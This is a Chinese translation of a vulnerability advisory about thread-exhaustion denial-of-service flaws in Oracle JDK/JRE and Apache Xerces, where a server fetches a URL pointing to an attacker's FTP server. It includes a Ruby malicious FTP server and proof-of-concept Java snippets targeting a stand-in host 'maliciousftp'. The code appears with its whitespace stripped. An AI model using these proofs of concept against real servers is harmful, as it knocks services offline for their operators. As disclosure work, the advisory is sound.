2017-09-06 11:28:13
阅读:530次
点赞(0)
收藏
来源: 安全客
作者:興趣使然的小胃
译者:興趣使然的小胃
预估稿费:90RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
一、漏洞概要
Oracle Java JDK/JRE(1.8.0.131以及更早版本)软件包以及Apache Xerces(2.11.0版)中存在两个漏洞,这两个漏洞分别为:
Oracle JDK/JRE并发型拒绝服务(DoS)漏洞
java.net.URLConnection(未使用setConnectTimeout时)并发型拒绝服务漏洞
Oracle已收到相关漏洞报告,并分配了一个报告跟踪编号:S0876966。目前我们还没有收到相关补丁或解决方法的更多信息。
二、漏洞细节
当满足以下条件时,攻击者可以使用这两个漏洞对服务器发起拒绝服务(Denial of Service, DoS)攻击:
攻击者可以将一个精心构造的URL参数传递给目标服务器,URL参数指向攻击者控制的FTP服务器。
目标服务器使用存在漏洞的组件来获取攻击者指定的资源。
目标服务器可以获取使用FTP URI地址的资源。
在这两个漏洞中,攻击者发起的攻击过程如下所示:
1、攻击者迫使存在漏洞的目标服务器解析某个FTP URL地址,该地址指向攻击者控制的FTP服务器。
2、目标服务器获取攻击者指定的FTP资源。
3、攻击者的FTP服务器突然停止工作,导致目标服务器上的Java进程内部遗留两个线程,这两个线程处于无限等待状态。
4、如果Java进程为单线程进程,那么该进程就无法进一步处理其他客户端的请求,只能接受来自攻击者的一个请求,满足拒绝服务条件。
5、如果Java进程为多线程进程,那么攻击者可以使用同样的技术,向每个可用的进程发出一个请求,耗尽所有可用的线程,以满足拒绝服务条件。
为了满足攻击条件,当Java客户端即将执行RETR FTP命令时,攻击者控制的FTP服务器需要“突然”退出。服务端无法正确处理这种情况,因此会出现线程并发型拒绝服务现象。
比如:
require'socket' ftp_server=TCPServer.new21 Thread.startdo loopdo Thread.start(ftp_server.accept)do|ftp_client| puts"FTP.Newclientconnected" ftp_client.puts("220ftp-server") counter=0 loop{ req=ftp_client.gets() breakifreq.nil? puts"<"+req ifreq.include?"USER" ftp_client.puts("331password") else ftp_client.puts("230Waitingdata") counter=counter+1 ifcounter==6 abort end end } puts"Aborted..." end end end loopdo sleep(50000) end当漏洞条件满足时,DoS会导致目标服务器与FTP服务器(192.168.234.134)之间的连接处于CLOSE_WAIT状态,使服务端的Java线程处于卡顿状态。
三、Oracle JDK/JRE并发型拒绝服务漏洞
存在漏洞的函数为:
java.io.InputStream java.xml.ws.Service javax.xml.validation.Schema javax.xml.JAXBContext java.net.JarURLConnection(未使用setConnectionTimeout以及setReadTimeout函数时) javax.imageio.ImageIO Javax.swing.ImageIcon javax.swing.text.html.StyleSheet3.1 java.io.InputStream PoC代码
importjava.io.InputStream; importjava.net.URL; publicclassRandomAccess{ publicstaticvoidmain(String[]args){ try{ //url=newURL("ftp://maliciousftp:2121/test.xml"); URLurl=newURL("ftp://maliciousftp:2121/test.xml"); InputStreaminputStream=url.openStream(); inputStream.read(); //urlc.setReadTimeout(5000); //urlc.setConnectTimeout(5000);//<-thisfixesthebug }catch(Exceptione){ e.printStackTrace(); } } }3.2 javax.xml.ws.Service PoC代码
importjava.net.MalformedURLException; importjava.net.URL; importjavax.xml.namespace.QName; importjavax.xml.ws.Service; publicclassCreateService{ publicstaticvoidmain(String[]args){ StringwsdlURL="ftp://maliciousftp:2121/test?wsdl"; Stringnamespace="http://foo.bar.com/webservice"; StringserviceName="SomeService"; QNameserviceQN=newQName(namespace,serviceName); try{ Serviceservice=Service.create(newURL(wsdlURL),serviceQN); }catch(MalformedURLExceptione){ e.printStackTrace(); } } }
3.3 javax.xml.validation.Schema PoC代码
importjava.net.MalformedURLException; importjava.net.URL; importjavax.xml.validation.Schema; importjavax.xml.validation.SchemaFactory; importorg.xml.sax.SAXException; publicclassNSchema{ publicstaticvoidmain(String[]args){ SchemaFactoryschemaFactory= SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema"); URLurl; try{ url=newURL("ftp://maliciousftp:2121/schema"); try{ SchemaschemaGrammar=schemaFactory.newSchema(url); }catch(SAXExceptione){ e.printStackTrace(); } }catch(MalformedURLExceptione){ e.printStackTrace(); } } }
3.4 javax.xml.JAXBContext PoC代码
importjava.net.MalformedURLException; importjava.net.URL; importjavax.xml.bind.JAXBContext; importjavax.xml.bind.JAXBException; importjavax.xml.bind.Unmarshaller; publicclassUnMarsh{ publicstaticvoidmain(String[]args){ JAXBContextjaxbContext=null; try{ jaxbContext=JAXBContext.newInstance(); }catch(JAXBExceptione){ e.printStackTrace(); } URLurl=null; try{ url=newURL("ftp://maliciousftp:2121/test"); }catch(MalformedURLExceptione){ e.printStackTrace(); } UnmarshallerjaxbUnmarshaller=null; try{ jaxbUnmarshaller=jaxbContext.createUnmarshaller(); }catch(JAXBExceptione){ e.printStackTrace(); } try{ Objecttest=jaxbUnmarshaller.unmarshal(url); }catch(JAXBExceptione){ e.printStackTrace(); } } }3.5 java.net.JarURLConnection PoC代码
importjava.io.IOException; importjava.net.JarURLConnection; importjava.net.MalformedURLException; importjava.net.URL; importjava.util.jar.Manifest; publicclassJavaUrl{ publicstaticvoidmain(String[]args){ URLurl=null; try{ url=newURL("jar:ftp://maliciousftp:2121/duke.jar!/"); }catch(MalformedURLExceptione){ e.printStackTrace(); } JarURLConnectionjarConnection=null; try{ jarConnection=(JarURLConnection)url.openConnection(); jarConnection.setConnectTimeout(5000); jarConnection.setReadTimeout(5000); }catch(IOExceptione1){ e1.printStackTrace(); } try{ Manifestmanifest=jarConnection.getManifest(); }catch(IOExceptione){ e.printStackTrace(); } } }
3.6 javax.imageio.ImageIO PoC代码
importjava.awt.Image; importjava.io.IOException; importjava.net.URL; importjavax.imageio.ImageIO; importjavax.swing.ImageIcon; importjavax.swing.JFrame; importjavax.swing.JLabel; publicclassImageReader{ publicstaticvoidmain(String[]args){ Imageimage=null; try{ URLurl=newURL("ftp://maliciousftp:2121/test.jpg"); image=ImageIO.read(url); }catch(IOExceptione){ e.printStackTrace(); } JFrameframe=newJFrame(); frame.setSize(300,300); JLabellabel=newJLabel(newImageIcon(image)); frame.add(label); frame.setVisible(true); } }3.7 javax.swing.ImageIcon PoC代码
importjava.net.MalformedURLException; importjava.net.URL; importjavax.swing.ImageIcon; publicclassImageXcon{ publicstaticvoidmain(String[]args){ URLimgURL; try{ imgURL=newURL("ftp://maliciousftp:2121/test"); Stringdescription=""; ImageIconicon=newImageIcon(imgURL,description); }catch(MalformedURLExceptione){ e.printStackTrace(); } } }3.8 javax.swing.text.html.StyleSheet PoC代码
importjava.net.MalformedURLException; importjava.net.URL; importjavax.swing.text.html.StyleSheet; publicclassImportStyla{ publicstaticvoidmain(String[]args){ StyleSheetcs=newStyleSheet(); URLurl; try{ url=newURL("ftp://maliciousftp:2121/test"); cs.importStyleSheet(url); }catch(MalformedURLExceptione){ e.printStackTrace(); } } }四、java.net.URLConnection并发型拒绝服务漏洞
当使用java.net.URLConnection来获取FTP服务器上的某个文件时,如果不指定连接超时(Connection Timeout)时间,那么就会存在线程并发型拒绝服务漏洞。
存在漏洞的函数为:
javax.xml.parsers.SAXParser javax.xml.parsers.SAXParserFactory org.dom4j.Document org.dom4j.io.SAXReader javax.xml.parsers.DocumentBuilder javax.xml.parsers.DocumentBuilderFactoryApache Xerces中的com.sun.org.apache.xerces.internal.impl.XMLEntityManager.class是这一问题的根本原因所在。
在这种情况下,XMLEntityManager.class没有明确设置连接对象的连接超时时间,因此Java会将该时间设置为默认值(-1),这样一来就会满足拒绝服务条件,具体细节如下所述。
比如,服务器在如下示例代码中,利用Apache Xerces库来获取FTP服务器上的某个XML文件:
[snip] privatevoidparseXmlFile(){ //getthefactory DocumentBuilderFactorydbf=DocumentBuilderFactory.newInstance(); try{ //Usingfactorygetaninstanceofdocumentbuilder DocumentBuilderdb=dbf.newDocumentBuilder(); //parseusingbuildertogetDOMrepresentationoftheXMLfile dom=db.parse("ftp://maliciousftpserver/test.xml");//<-FTPURLcontrolledbytheattacker }catch(ParserConfigurationExceptionpce){ pce.printStackTrace(); }catch(SAXExceptionse){ se.printStackTrace(); }catch(IOExceptionioe){ ioe.printStackTrace(); } } [snip]4.1 SAXParser PoC代码
SAXParserFactoryfactory=SAXParserFactory.newInstance(); SAXParsersaxParser=factory.newSAXParser(); UserHandleruserhandler=newUserHandler(); saxParser.parse("ftp://badftpserver:2121/whatever.xml”)4.2 DOM4J/SAXReader PoC代码
SAXReaderreader=newSAXReader(); Documentdocument=reader.read("ftp://badftpserver:2121/whatever.xml");4.3 JAVAX XML Parsers PoC代码
DocumentBuilderdb=dbf.newDocumentBuilder(); dom=db.parse("ftp://badftpserver:2121/whatever.xml");本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://blogs.securiteam.com/index.php/archives/3271